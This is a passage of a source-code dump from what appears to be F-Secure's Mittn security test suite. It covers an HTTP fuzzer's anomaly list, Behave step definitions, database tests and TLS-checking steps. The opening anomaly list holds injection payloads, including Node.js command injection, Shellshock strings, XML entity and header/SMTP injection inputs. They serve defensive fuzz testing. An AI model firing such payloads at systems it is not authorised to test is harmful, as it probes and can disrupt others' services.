exec = require('child_process').exec; exec('ping 127.0.0.1');", # Node.js command injection, aim at timeout 97 | "'; var exec = require('child_process').exec; exec('ping 127.0.0.1');", # Node.js command injection, aim at timeout 98 | '() { :;}; exit', # Shellshock: exit 99 | '() { :;}; cat /dev/zero', # Shellshock: try to hang 100 | 101 | # PHP injection 102 | '', # Add PHP block that tries to exit with a nonzero return code 103 | '>', # Add PHP block that tries to exit with a nonzero return code 104 | '?>', # End PHP block (or ' 198 | '' 199 | '' 200 | '' 201 | ' ]>' 202 | '&expand;', 203 | 204 | # XML external entity inclusion 205 | ']>&bar;', 206 | 207 | # Broken BSON (invalid Boolean value) 208 | 'c\x00\x00\x00\x0Djavascript_code\x00\x09\x00\x00\x00alert(1)\x00\x01float\x00\x00\x00\x00\x00\x00\x00' 209 | 'E@\x08Boolean\x00\x02\x04array\x00\x05\x00\x00\x00\x00\nNull\x00\x02unicodestring\x00\x02\x00\x00\x00\x00\x00\x00', 210 | 211 | # Broken BSON 2 (embedded document length overflow) 212 | 'c\x00\x00\x00\x0Djavascript_code\x00\x09\x00\x00\x00alert(1)\x00\x01float\x00\x00\x00\x00\x00\x00\x00' 213 | 'E@\x08Boolean\x00\x01\x04array\x00\x06\x00\x00\x00\x00\nNull\x00\x02unicodestring\x00\x02\x00\x00\x00\x00\x00\x00', 214 | 215 | # Broken BSON 3 (string length overflow) 216 | 'c\x00\x00\x00\x0Djavascript_code\x00\x09\x00\x00\x00alert(1)\x00\x01float\x00\x00\x00\x00\x00\x00\x00' 217 | 'E@\x08Boolean\x00\x01\x04array\x00\x05\x00\x00\x00\x00\nNull\x00\x02unicodestring\x00\x03\x00\x00\x00\x00\x00\x00', 218 | 219 | # Broken BSON 4 (end zero missing and provide something for the parser to chew on) 220 | 'c\x00\x00\x00\x0Djavascript_code\x00\x09\x00\x00\x00alert(1)\x00\x01float\x00\x00\x00\x00\x00\x00\x00' 221 | 'E@\x08Boolean\x00\x01\x04array\x00\x05\x00\x00\x00\x00\nNull\x00\x02unicodestring\x00\x02\x00\x00\x00\x00\x00' 222 | '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41' 223 | '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41' 224 | '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41' 225 | '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41' 226 | '\x41\x41\x41\x41\x41\x41\x41\x41', 227 | 228 | # Format strings 229 | r'%s', 230 | r'%d', 231 | 232 | # ANSI art makes your log files sparkle. These aren't likely to 233 | # get flagged by the tool, but if the test setup's log files are 234 | # viewed, these might highlight unwanted log injections 235 | "\x1b[0;1;40;32mM\x1b[0m \x1b[1;32mM\x1b[0m \x1b[1;31mIII\x1b[32m TTT\x1b[0m \x1b[31mTTT\x1b[37m " 236 | "\x1b[1;34mN\x1b[0m \x1b[1;34mN\r\n\x1b[32mMM\x1b[0m \x1b[1;32mMM\x1b[0m \x1b[1;31mI\x1b[0m " 237 | "\x1b[1;32mT\x1b[0m \x1b[31mT\x1b[37m \x1b[1;34mNN\x1b[0m \x1b[1;34mN\r\n\x1b[32mM\x1b[0m " 238 | "\x1b[1;32mM\x1b[0m \x1b[1;32mM\x1b[0m \x1b[1;31mI\x1b[0m \x1b[1;32mT\x1b[0m \x1b[31mT\x1b[37m " 239 | "\x1b[1;34mN\x1b[0m \x1b[1;34mNN\r\n\x1b[32mM\x1b[0m \x1b[1;32mM\x1b[0m \x1b[1;31mI\x1b[0m " 240 | "\x1b[1;32mT\x1b[0m \x1b[31mT\x1b[37m \x1b[1;34mN\x1b[0m \x1b[1;34mNN\r\n\x1b[32mM\x1b[0m " 241 | "\x1b[1;32mM\x1b[0m \x1b[1;31mIII\x1b[0m \x1b[1;32mT\x1b[0m \x1b[31mT\x1b[37m \x1b[1;34mN\x1b[0m " 242 | "\x1b[1;34mN\r\n\x1a", 243 | 244 | "\x1b[2JPOSSIBLE_INJECTION_PROBLEM", # Clear screen and show a message 245 | '\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07', # BELs 246 | 247 | # Email 248 | 'root@[127.0.0.1]', # Well-formed but localhost 249 | 'root@localhost', # Well-formed but localhost 250 | '@mittn.org', # No user 251 | '@', # No user or domain 252 | 'nobody@mittn.org\nCc:nobodyneither@mittn.org', # Header injection 253 | 'nobody@mittn.org\r\nCc:nobodyneither@mittn.org', # Header injection 254 | # SMTP injection 255 | '\r\n.\r\n\r\nMAIL FROM:\r\nRCPT TO:\r\nDATA\r\nPOSSIBLE_INJECTION_PROBLEM\r\n.\r\n', 256 | 257 | # Long strings 258 | "A" * 256, 259 | "A" * 1025, 260 | "A" * 65537, 261 | ":-) =) XD o_O" * 10000, # Rendering a lot of animated emoticons can cause pain 262 | "A" * (1024 * 1024) # 1 MB 263 | ] 264 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/steps.py: -------------------------------------------------------------------------------- 1 | """httpfuzzer step library for Behave.""" 2 | from behave import * 3 | from mittn.httpfuzzer.static_anomalies import * 4 | from mittn.httpfuzzer.fuzzer import * 5 | from mittn.httpfuzzer.injector import * 6 | from mittn.httpfuzzer.number_ranges import * 7 | from mittn.httpfuzzer.url_params import * 8 | import mittn.httpfuzzer.dbtools as fuzzdb 9 | import json 10 | import urlparse2 11 | import subprocess 12 | import re 13 | 14 | __copyright__ = "Copyright (c) 2013- F-Secure" 15 | 16 | 17 | @given(u'a baseline database for injection findings') 18 | def step_impl(context): 19 | """Test that we can connect to a database. 20 | 21 | As a side effect, open_database(9 also creates the necessary table(s) that 22 | are required. 23 | 24 | """ 25 | if hasattr(context, 'dburl') is False: 26 | assert False, "Database URI not specified" 27 | dbconn = fuzzdb.open_database(context) 28 | if dbconn is None: 29 | assert False, "Cannot open database %s" % context.dburl 30 | dbconn.close() 31 | 32 | 33 | @given(u'an authentication flow id "{auth_id}"') 34 | def step_impl(context, auth_id): 35 | """Store the authentication flow identifier. Tests in the feature file 36 | can use different authentication flows, and this can be used to 37 | select one of them in authenticate.py. 38 | """ 39 | 40 | context.authentication_id = auth_id 41 | assert True 42 | 43 | 44 | @given(u'valid case instrumentation with success defined as "{valid_cases}"') 45 | def step_impl(context, valid_cases): 46 | """Make a note of the fact that we would like to do valid case 47 | instrumentation.""" 48 | 49 | context.valid_cases = unpack_integer_range(valid_cases) 50 | context.valid_case_instrumentation = True 51 | assert True 52 | 53 | 54 | @given(u'a web proxy') 55 | def step_impl(context): 56 | """Check that we have a proxy defined in the environment file. 57 | """ 58 | 59 | if not hasattr(context, "proxy_address"): 60 | assert False, "The feature file requires a proxy, but one has not " \ 61 | "been defined in environment.py." 62 | assert True 63 | 64 | 65 | @given(u'a timeout of "{timeout}" seconds') 66 | def step_impl(context, timeout): 67 | """Store the timeout value. 68 | """ 69 | context.timeout = float(timeout) 70 | if context.timeout < 0: 71 | assert False, "Invalid timeout value %s" % context.timeout 72 | assert True 73 | 74 | 75 | @given(u'A working Radamsa installation') 76 | def step_impl(context): 77 | """Check for a working Radamsa installation.""" 78 | 79 | if context.radamsa_location is None: 80 | assert False, "The feature file requires Radamsa, but the path is " \ 81 | "undefined." 82 | try: 83 | subprocess.check_output([context.radamsa_location, "--help"], 84 | stderr=subprocess.STDOUT) 85 | except (subprocess.CalledProcessError, OSError) as error: 86 | assert False, "Could not execute Radamsa from %s: %s" % (context.radamsa_location, error) 87 | assert True 88 | 89 | 90 | @given(u'target URL "{uri}"') 91 | def step_impl(context, uri): 92 | """Store the target URI that we are injecting or fuzzing.""" 93 | 94 | # The target URI needs to be a string so it doesn't trigger Unicode 95 | # conversions for stuff we concatenate into it later; the Python 96 | # Unicode library will barf on fuzzed data 97 | context.targeturi = str(uri) 98 | assert True 99 | 100 | 101 | @given(u'a valid form submission "{submission}" using "{method}" method') 102 | def step_impl(context, submission, method): 103 | """For static injection, store a valid form where elements are replaced with 104 | injections and test it once. This is also used for the valid case 105 | instrumentation. 106 | """ 107 | 108 | if hasattr(context, 'timeout') is False: 109 | context.timeout = 5 # Sensible default 110 | if hasattr(context, 'targeturi') is False: 111 | assert False, "Target URI not specified" 112 | 113 | # Unserialise into a data structure and store in a list 114 | # (one valid case is just a special case of providing 115 | # several valid cases) 116 | context.submission = [urlparse2.parse_qs(submission)] 117 | context.submission_method = method 118 | context.type = 'urlencode' # Used downstream for selecting encoding 119 | context.content_type = 'application/x-www-form-urlencoded; charset=utf-8' 120 | test_valid_submission(context) 121 | assert True 122 | 123 | 124 | @given(u'valid url parameters "{submission}"') 125 | def step_impl(context, submission): 126 | """For static injection, get the url parameters (semicolon 127 | separated URL parameters) 128 | """ 129 | 130 | if hasattr(context, 'timeout') is False: 131 | context.timeout = 5 # Sensible default 132 | if hasattr(context, 'targeturi') is False: 133 | assert False, "Target URI not specified" 134 | 135 | # Unserialise into a data structure and store in a list 136 | # (one valid case is just a special case of providing 137 | # several valid cases) 138 | context.submission = [url_to_dict(submission)] 139 | context.submission_method = 'GET' 140 | context.type = 'url-parameters' # Used downstream for selecting encoding 141 | context.content_type = 'application/x-www-form-urlencoded; charset=utf-8' 142 | # test_valid_submission(context) 143 | assert True 144 | 145 | 146 | @when(u'injecting static bad data for every key and value') 147 | def step_impl(context): 148 | """Perform injection of static anomalies 149 | """ 150 | context.new_findings = 0 151 | # Create the list of static injections using a helper generator 152 | injection_list = anomaly_dict_generator_static(anomaly_list) 153 | context.responses = inject(context, injection_list) 154 | assert True 155 | 156 | 157 | @when(u'storing any new cases of return codes "{returncode_list}"') 158 | def step_impl(context, returncode_list): 159 | """Go through responses and store any with suspect return codes 160 | into the database 161 | """ 162 | 163 | disallowed_returncodes = unpack_integer_range(returncode_list) 164 | new_findings = 0 165 | for response in context.responses: 166 | if response['resp_statuscode'] in disallowed_returncodes: 167 | if fuzzdb.known_false_positive(context, response) is False: 168 | fuzzdb.add_false_positive(context, response) 169 | new_findings += 1 170 | if new_findings > 0: 171 | context.new_findings += new_findings 172 | assert True 173 | 174 | 175 | @when(u'storing any new cases of responses timing out') 176 | def step_impl(context): 177 | """Go through responses and save any that timed out into the database 178 | """ 179 | 180 | new_findings = 0 181 | for response in context.responses: 182 | if response.get('server_timeout') is True: 183 | if fuzzdb.known_false_positive(context, response) is False: 184 | fuzzdb.add_false_positive(context, response) 185 | new_findings += 1 186 | if new_findings > 0: 187 | context.new_findings += new_findings 188 | assert True 189 | 190 | 191 | @when(u'storing any new invalid server responses') 192 | def step_impl(context): 193 | """Go through responses and store any with HTTP protocol errors 194 | (as caught by Requests) into the database 195 | """ 196 | 197 | new_findings = 0 198 | for response in context.responses: 199 | if response.get('server_protocol_error') is not None: 200 | if fuzzdb.known_false_positive(context, response) is False: 201 | fuzzdb.add_false_positive(context, response) 202 | new_findings += 1 203 | if new_findings > 0: 204 | context.new_findings += new_findings 205 | assert True 206 | 207 | 208 | @when(u'storing any new cases of response bodies that contain strings') 209 | def step_impl(context): 210 | """Go through responses and store any that contain a string from 211 | user-supplied list of strings into the database 212 | """ 213 | 214 | # Create a regex from the error response list 215 | error_list = [] 216 | for row in context.table: 217 | error_list.append(row['string']) 218 | error_list_regex = "(" + ")|(".join(error_list) + ")" 219 | 220 | # For each response, check that it isn't in the error response list 221 | new_findings = 0 222 | for response in context.responses: 223 | if re.search(error_list_regex, response.get('resp_body'), 224 | re.IGNORECASE) is not None: 225 | response['server_error_text_detected'] = True 226 | if fuzzdb.known_false_positive(context, response) is False: 227 | fuzzdb.add_false_positive(context, response) 228 | new_findings += 1 229 | if new_findings > 0: 230 | context.new_findings += new_findings 231 | assert True 232 | 233 | 234 | @given(u'a valid JSON submission "{valid_json}" using "{method}" method') 235 | def step_impl(context, valid_json, method): 236 | """Store an example of a valid submission 237 | """ 238 | 239 | if hasattr(context, 'timeout') is False: 240 | context.timeout = 5 # Sensible default 241 | if hasattr(context, 'targeturi') is False: 242 | assert False, "Target URI not specified" 243 | 244 | # Unserialise into a data structure and store in a list 245 | # (one valid case is just a special case of providing 246 | # several valid cases) 247 | context.submission = [json.loads(valid_json)] 248 | context.submission_method = method 249 | context.type = 'json' # Used downstream to select encoding, etc. 250 | context.content_type = 'application/json' 251 | test_valid_submission(context) 252 | assert True 253 | 254 | 255 | @given(u'valid JSON submissions using "{method}" method') 256 | def step_impl(context, method): 257 | """Store a list of valid JSON submissions (used for valid cases 258 | for fuzz generation 259 | """ 260 | 261 | if hasattr(context, 'timeout') is False: 262 | context.timeout = 5 # Sensible default 263 | if hasattr(context, 'targeturi') is False: 264 | assert False, "Target URI not specified" 265 | context.submission = [] 266 | context.submission_method = method 267 | context.type = 'json' # Used downstream for selecting encoding 268 | context.content_type = 'application/json' 269 | # Add all valid cases into a list as unserialised data structures 270 | for row in context.table: 271 | context.submission.append(json.loads(row['submission'])) 272 | test_valid_submission(context) 273 | assert True 274 | 275 | 276 | @given(u'valid form submissions using "{method}" method') 277 | def step_impl(context, method): 278 | """Store a list of valid form submissions (used for valid cases for 279 | fuzz generation) 280 | """ 281 | 282 | if hasattr(context, 'timeout') is False: 283 | context.timeout = 5 # Sensible default 284 | if hasattr(context, 'targeturi') is False: 285 | assert False, "Target URI not specified" 286 | context.submission = [] 287 | context.submission_method = method 288 | context.type = 'urlencode' # Used downstream for selecting encoding 289 | context.content_type = 'application/x-www-form-urlencoded; charset=utf-8' 290 | # Add all valid cases into a list as unserialised data structures 291 | for row in context.table: 292 | context.submission.append(urlparse2.parse_qs(row['submission'])) 293 | test_valid_submission(context) 294 | assert True 295 | 296 | 297 | @given(u'valid url parameters') 298 | def step_impl(context, method): 299 | """Store a list of valid url parameters (used for valid cases for 300 | fuzz generation) 301 | """ 302 | 303 | if hasattr(context, 'timeout') is False: 304 | context.timeout = 5 # Sensible default 305 | if hasattr(context, 'targeturi') is False: 306 | assert False, "Target URI not specified" 307 | context.submission = [] 308 | context.submission_method = 'GET' 309 | context.type = 'url-parameters' # Used downstream for selecting encoding 310 | context.content_type = 'application/x-www-form-urlencoded; charset=utf-8' 311 | # Add all valid cases into a list as unserialised data structures 312 | for row in context.table: 313 | context.submission.append(url_to_dict(row['submission'])) 314 | test_valid_submission(context) 315 | assert True 316 | 317 | 318 | @when(u'fuzzing with "{no_of_cases}" fuzz cases for each key and value') 319 | def step_impl(context, no_of_cases): 320 | """Perform fuzzing and fuzz case injection 321 | """ 322 | 323 | context.new_findings = 0 324 | # Collect the valid keys/values from the valid examples 325 | valuelist = {} 326 | for submission in context.submission: 327 | valuelist = collect_values(submission, valuelist) 328 | # Create the list of fuzz injections using a helper generator 329 | fuzzed_anomalies_dict = fuzz_values(valuelist, no_of_cases, 330 | context.radamsa_location) 331 | injection_list = anomaly_dict_generator_fuzz(fuzzed_anomalies_dict) 332 | context.responses = inject(context, injection_list) 333 | assert True 334 | 335 | 336 | @given(u'tests conducted with HTTP methods "{methods}"') 337 | def step_impl(context, methods): 338 | """Store a list of HTTP methods to use 339 | """ 340 | 341 | context.injection_methods = methods.split(",") 342 | assert True 343 | 344 | 345 | @then(u'no new issues were stored') 346 | def step_impl(context): 347 | """Check whether we stored any new findings 348 | """ 349 | if context.new_findings > 0: 350 | assert False, "%s new findings were found." % context.new_findings 351 | old_findings = fuzzdb.number_of_new_in_database(context) 352 | if old_findings > 0: 353 | assert False, "No new findings found, but %s unprocessed findings " \ 354 | "from past runs found in database." % old_findings 355 | assert True 356 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/test_dbtools.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import tempfile 3 | import uuid 4 | import os 5 | import datetime 6 | import socket 7 | import mittn.httpfuzzer.dbtools as dbtools 8 | import sqlalchemy 9 | from sqlalchemy import create_engine, Table, Column, MetaData, exc, types 10 | 11 | __copyright__ = "Copyright (c) 2013- F-Secure" 12 | 13 | 14 | class dbtools_test_case(unittest.TestCase): 15 | def setUp(self): 16 | # Create an empty mock inline "context" object 17 | # See https://docs.python.org/2/library/functions.html#type 18 | self.context = type('context', (object,), dict()) 19 | 20 | # Whip up a sqlite database URI for testing 21 | self.db_file = os.path.join(tempfile.gettempdir(), 22 | 'mittn_unittest.' + str(uuid.uuid4())) 23 | self.context.dburl = 'sqlite:///' + self.db_file 24 | 25 | def test_dburl_not_defined(self): 26 | # Try to open connection without a defined database URI 27 | empty_context = type('context', (object,), dict()) 28 | dbconn = dbtools.open_database(empty_context) 29 | self.assertEqual(dbconn, 30 | None, 31 | "No dburl provided should return None as connection") 32 | 33 | def test_create_db_connection(self): 34 | # Try whether an actual database connection can be opened 35 | dbconn = dbtools.open_database(self.context) 36 | self.assertEqual(type(dbconn), 37 | sqlalchemy.engine.base.Connection, 38 | "An SQLAlchemy connection object was not returned") 39 | 40 | def test_add_false_positive(self): 41 | # Add a false positive to database and check that all fields 42 | # get populated and can be compared back originals 43 | response = {'scenario_id': '1', 44 | 'req_headers': 'headers', 45 | 'req_body': 'body', 46 | 'url': 'url', 47 | 'timestamp': datetime.datetime.utcnow(), 48 | 'req_method': 'method', 49 | 'server_protocol_error': None, 50 | 'server_timeout': False, 51 | 'server_error_text_detected': False, 52 | 'server_error_text_matched': 'matched_text', 53 | 'resp_statuscode': 'statuscode', 54 | 'resp_headers': 'resp_headers', 55 | 'resp_body': 'resp_body', 56 | 'resp_history': 'resp_history'} 57 | 58 | dbtools.add_false_positive(self.context, response) 59 | 60 | # Connect directly to the database and check the data is there 61 | db_engine = sqlalchemy.create_engine(self.context.dburl) 62 | dbconn = db_engine.connect() 63 | db_metadata = sqlalchemy.MetaData() 64 | httpfuzzer_issues = Table('httpfuzzer_issues', db_metadata, 65 | Column('new_issue', types.Boolean), 66 | Column('issue_no', types.Integer, primary_key=True, nullable=False), 67 | Column('timestamp', types.DateTime(timezone=True)), 68 | Column('test_runner_host', types.Text), 69 | Column('scenario_id', types.Text), 70 | Column('url', types.Text), 71 | Column('server_protocol_error', types.Text), 72 | Column('server_timeout', types.Boolean), 73 | Column('server_error_text_detected', types.Boolean), 74 | Column('server_error_text_matched', types.Text), 75 | Column('req_method', types.Text), 76 | Column('req_headers', types.LargeBinary), 77 | Column('req_body', types.LargeBinary), 78 | Column('resp_statuscode', types.Text), 79 | Column('resp_headers', types.LargeBinary), 80 | Column('resp_body', types.LargeBinary), 81 | Column('resp_history', types.LargeBinary)) 82 | db_select = sqlalchemy.sql.select([httpfuzzer_issues]) 83 | db_result = dbconn.execute(db_select) 84 | result = db_result.fetchone() 85 | for key, value in response.iteritems(): 86 | self.assertEqual(result[key], value, 87 | '%s not found in database after add' % key) 88 | self.assertEqual(result['test_runner_host'], socket.gethostbyname(socket.getfqdn()), 89 | 'Test runner host name not correct in database') 90 | self.assertLessEqual(result['timestamp'], datetime.datetime.utcnow(), 91 | 'Timestamp not correctly stored in database') 92 | dbconn.close() 93 | 94 | def test_number_of_new_false_positives(self): 95 | # Add a couple of false positives to database as new issues, 96 | # and check that the they're counted properly 97 | response = {'scenario_id': '1', 98 | 'req_headers': 'headers', 99 | 'req_body': 'body', 100 | 'url': 'url', 101 | 'req_method': 'method', 102 | 'timestamp': datetime.datetime.utcnow(), 103 | 'server_protocol_error': None, 104 | 'server_timeout': False, 105 | 'server_error_text_detected': False, 106 | 'server_error_text_matched': 'matched_text', 107 | 'resp_statuscode': 'statuscode', 108 | 'resp_headers': 'resp_headers', 109 | 'resp_body': 'resp_body', 110 | 'resp_history': 'resp_history'} 111 | 112 | # Add one, expect count to be 1 113 | dbtools.add_false_positive(self.context, response) 114 | self.assertEqual(dbtools.number_of_new_in_database(self.context), 115 | 1, "After adding one, no one finding in database") 116 | 117 | # Add a second one, expect count to be 2 118 | dbtools.add_false_positive(self.context, response) 119 | self.assertEqual(dbtools.number_of_new_in_database(self.context), 120 | 2, "After adding two, no two findings in db") 121 | 122 | def test_false_positive_detection(self): 123 | # Test whether false positives in database are identified properly 124 | response = {'scenario_id': '1', 125 | 'req_headers': 'headers', 126 | 'req_body': 'body', 127 | 'url': 'url', 128 | 'req_method': 'method', 129 | 'timestamp': datetime.datetime.utcnow(), 130 | 'server_protocol_error': False, 131 | 'server_timeout': False, 132 | 'server_error_text_detected': False, 133 | 'server_error_text_matched': 'matched_text', 134 | 'resp_statuscode': 'statuscode', 135 | 'resp_headers': 'resp_headers', 136 | 'resp_body': 'resp_body', 137 | 'resp_history': 'resp_history'} 138 | 139 | # First add one false positive and try checking against it 140 | dbtools.add_false_positive(self.context, response) 141 | 142 | self.assertEqual(dbtools.known_false_positive(self.context, 143 | response), 144 | True, "Duplicate false positive not detected") 145 | 146 | # Change one of the differentiating fields, and test, and 147 | # add the tested one to the database. 148 | response['scenario_id'] = '2' # Non-duplicate 149 | self.assertEqual(dbtools.known_false_positive(self.context, 150 | response), 151 | False, "Not a duplicate: scenario_id different") 152 | dbtools.add_false_positive(self.context, response) 153 | 154 | # Repeat for all the differentiating fields 155 | response['server_protocol_error'] = 'Error text' 156 | self.assertEqual(dbtools.known_false_positive(self.context, 157 | response), 158 | False, "Not a duplicate: server_protocol_error different") 159 | dbtools.add_false_positive(self.context, response) 160 | 161 | response['resp_statuscode'] = '500' 162 | self.assertEqual(dbtools.known_false_positive(self.context, 163 | response), 164 | False, "Not a duplicate: resp_statuscode different") 165 | dbtools.add_false_positive(self.context, response) 166 | 167 | response['server_timeout'] = True 168 | self.assertEqual(dbtools.known_false_positive(self.context, 169 | response), 170 | False, "Not a duplicate: server_timeout different") 171 | dbtools.add_false_positive(self.context, response) 172 | 173 | response['server_error_text_detected'] = True 174 | self.assertEqual(dbtools.known_false_positive(self.context, 175 | response), 176 | False, "Not a duplicate: server_error_text_detected different") 177 | dbtools.add_false_positive(self.context, response) 178 | 179 | # Finally, test the last one again twice, now it ought to be 180 | # reported back as a duplicate 181 | self.assertEqual(dbtools.known_false_positive(self.context, 182 | response), 183 | True, "A duplicate case not detected") 184 | 185 | def tearDown(self): 186 | try: 187 | os.unlink(self.db_file) 188 | except: 189 | pass 190 | -------------------------------------------------------------------------------- /mittn/httpfuzzer/url_params.py: -------------------------------------------------------------------------------- 1 | """Functions to (de)serialise URL path parameters. 2 | 3 | These aren't query parameters but instead a less-used part of the URL path 4 | (like keyword1=value1,value2;keyword2=value3). 5 | 6 | """ 7 | import urllib 8 | from collections import OrderedDict 9 | 10 | __copyright__ = "Copyright (c) 2013- F-Secure" 11 | 12 | 13 | def url_to_dict(params): 14 | """Return a dict of URL path parameters 15 | """ 16 | paramdict = OrderedDict() 17 | for keyword_value_pair in params.split(';'): 18 | (keyword, values) = keyword_value_pair.split('=') 19 | paramdict[str(keyword)] = [] 20 | for value in values.split(','): 21 | paramdict[keyword].append(str(value)) 22 | return paramdict 23 | 24 | 25 | def dict_to_urlparams(paramdict): 26 | """Return URL path parameters from a dict 27 | """ 28 | paramstring = "" 29 | for keyword in paramdict.keys(): 30 | paramstring += ';' + urllib.quote_plus(keyword) + "=" 31 | first_value = 1 32 | for value in paramdict[keyword]: 33 | if not first_value: 34 | paramstring += ',' 35 | if value is None: # As a result of injection 36 | value = "" 37 | paramstring += urllib.quote_plus(str(value)) 38 | first_value = 0 39 | return paramstring 40 | -------------------------------------------------------------------------------- /mittn/tlschecker/__init__.py: -------------------------------------------------------------------------------- 1 | __copyright__ = "Copyright (c) 2013- F-Secure" 2 | -------------------------------------------------------------------------------- /mittn/tlschecker/steps.py: -------------------------------------------------------------------------------- 1 | # pylint: disable=E0602,E0102 2 | from behave import * 3 | from subprocess import check_output 4 | from tempfile import NamedTemporaryFile 5 | import re 6 | import os 7 | import xml.etree.ElementTree as ET 8 | # The following for calculating validity times from potentially 9 | # locale specific timestamp strings 10 | import dateutil.parser 11 | import dateutil.relativedelta 12 | import pytz 13 | from datetime import datetime 14 | 15 | __copyright__ = "Copyright (c) 2013- F-Secure" 16 | 17 | 18 | @step('sslyze is correctly installed') 19 | def step_impl(context): 20 | context.output = check_output([context.sslyze_location, '--version']) 21 | assert "0.12.0" in context.output, "SSLyze version 0.12 is required" 22 | 23 | 24 | @step('target host and port in "{host}" and "{port}"') 25 | def step_impl(context, host, port): 26 | # Store target host, port for future use 27 | try: 28 | context.feature.host = os.environ[host] 29 | except KeyError: 30 | assert False, "Hostname not defined in %s" % host 31 | try: 32 | context.feature.port = os.environ[port] 33 | except KeyError: 34 | assert False, "Port number not defined in %s" % port 35 | assert True 36 | 37 | 38 | @given(u'target host "{host}" and port "{port}"') 39 | def step_impl(context, host, port): 40 | assert host != "", "Hostname not defined" 41 | assert port != "", "Port number not defined" 42 | context.feature.host = host 43 | context.feature.port = port 44 | assert True 45 | 46 | 47 | @step(u'a TLS connection can be established') 48 | def step_impl(context): 49 | try: 50 | root = context.xmloutput.getroot() 51 | except AttributeError: 52 | assert False, "No stored TLS connection result set was found." 53 | # The connection target should have been resolved 54 | # The .//foo notation is an Xpath 55 | assert len(root.findall('.//invalidTargets')) == 1, \ 56 | "Target system did not resolve or could not connect" 57 | for error in root.findall('.//errors'): 58 | # There should be no connection errors 59 | assert len(error) == 0, \ 60 | "Errors found creating a connection to %s:%s" % (context.feature.host, context.feature.port) 61 | num_acceptedsuites = 0 62 | for acceptedsuites in root.findall('.//acceptedCipherSuites'): 63 | num_acceptedsuites += len(acceptedsuites) 64 | # If there are more than zero accepted suites (for any enabled protocol) 65 | # the connection was successful 66 | assert num_acceptedsuites > 0, \ 67 | "No acceptable cipher suites found at %s:%s" % (context.feature.host, context.feature.port) 68 | 69 | 70 | @step(u'the certificate is in major root CA trust stores') 71 | def step_impl(context): 72 | try: 73 | root = context.xmloutput.getroot() 74 | except AttributeError: 75 | assert False, "No stored TLS connection result set was found." 76 | certificate = root.findall(".//pathValidation") 77 | for pathvalidation in certificate: 78 | assert pathvalidation.get("validationResult") == 'ok', "Certificate not in trust store %s" % pathvalidation.get( 79 | "usingTrustStore") 80 | 81 | 82 | @step(u'the certificate has a matching host name') 83 | def step_impl(context): 84 | try: 85 | root = context.xmloutput.getroot() 86 | except AttributeError: 87 | assert False, "No stored TLS connection result set was found." 88 | certificate = root.find(".//hostnameValidation") 89 | assert certificate.get("certificateMatchesServerHostname") == 'True', \ 90 | "Certificate subject does not match host name" 91 | 92 | 93 | @step(u'the D-H group size is at least "{groupsize}" bits') 94 | def step_impl(context, groupsize): 95 | try: 96 | root = context.xmloutput.getroot() 97 | except AttributeError: 98 | assert False, "No stored TLS connection result set was found." 99 | keyexchange = root.find(".//keyExchange") 100 | if keyexchange is None: 101 | # Kudos bro! 102 | return 103 | keytype = keyexchange.get('Type') 104 | realgroupsize = keyexchange.get('GroupSize') 105 | if keytype == 'DH': 106 | assert int(groupsize) <= int(realgroupsize), \ 107 | "D-H group size less than %s" % groupsize 108 | 109 | 110 | @step(u'the public key size is at least "{keysize}" bits') 111 | def step_impl(context, keysize): 112 | try: 113 | root = context.xmloutput.getroot() 114 | except AttributeError: 115 | assert False, "No stored TLS connection result set was found." 116 | publickeysize = root.find(".//publicKeySize").text 117 | assert int(keysize) <= int(publickeysize[0]), \ 118 | "Public key size less than %s" % keysize 119 | 120 | 121 | @step(u'a "{proto}" connection is made') 122 | def step_impl(context, proto): 123 | host = context.feature.host 124 | port = context.feature.port 125 | xmloutfile = NamedTemporaryFile(delete=False) 126 | xmloutfile.close() # Free the lock on the XML output file 127 | context.output = check_output([context.sslyze_location, "--%s" % proto.lower(), 128 | "--compression", "--reneg", 129 | "--chrome_sha1", "--heartbleed", 130 | "--xml_out=" + xmloutfile.name, 131 | "--certinfo=full", 132 | "--hsts", 133 | "--http_get", 134 | "--sni=%s" % host, 135 | "%s:%s" % (host, port)]) 136 | context.xmloutput = ET.parse(xmloutfile.name) 137 | os.unlink(xmloutfile.name) 138 | 139 | 140 | @step(u'a TLS connection cannot be established') 141 | def step_impl(context): 142 | try: 143 | root = context.xmloutput.getroot() 144 | except AttributeError: 145 | assert False, "No stored TLS connection result set was found." 146 | num_suites = 0 147 | for suites in root.findall('.//acceptedCipherSuites'): 148 | num_suites += len(suites) 149 | for suites in root.findall('.//preferredCipherSuite'): 150 | num_suites += len(suites) 151 | # If there are zero accepted and preferred suites, connection was 152 | # not successful 153 | assert num_suites == 0, \ 154 | "An acceptable cipher suite was found (= a connection was made)." 155 | 156 | 157 | @step(u'compression is not enabled') 158 | def step_impl(context): 159 | try: 160 | root = context.xmloutput.getroot() 161 | except AttributeError: 162 | assert False, "No stored TLS connection result set was found." 163 | compr = root.findall('.//compressionMethod') 164 | compression = False 165 | for comp_method in compr: 166 | if comp_method.get('isSupported') != 'False': 167 | compression = True 168 | assert compression is False, "Compression is enabled" 169 | 170 | 171 | @step(u'secure renegotiation is supported') 172 | def step_impl(context): 173 | try: 174 | root = context.xmloutput.getroot() 175 | except AttributeError: 176 | assert False, "No stored TLS connection result set was found." 177 | reneg = root.find('.//reneg/sessionRenegotiation') 178 | assert reneg is not None, \ 179 | "Renegotiation is not supported" 180 | assert reneg.get('canBeClientInitiated') == 'False', \ 181 | "Client side renegotiation is enabled (shouldn't be)" 182 | assert reneg.get('isSecure') == 'True', \ 183 | "Secure renegotiation is not supported (should be)" 184 | 185 | 186 | @step(u'the connection results are stored') 187 | def step_impl(context): 188 | try: 189 | context.feature.xmloutput = context.xmloutput 190 | except AttributeError: 191 | assert False, "No connection results found. Perhaps a connection problem to %s:%s" % ( 192 | context.feature.host, context.feature.port) 193 | 194 | 195 | 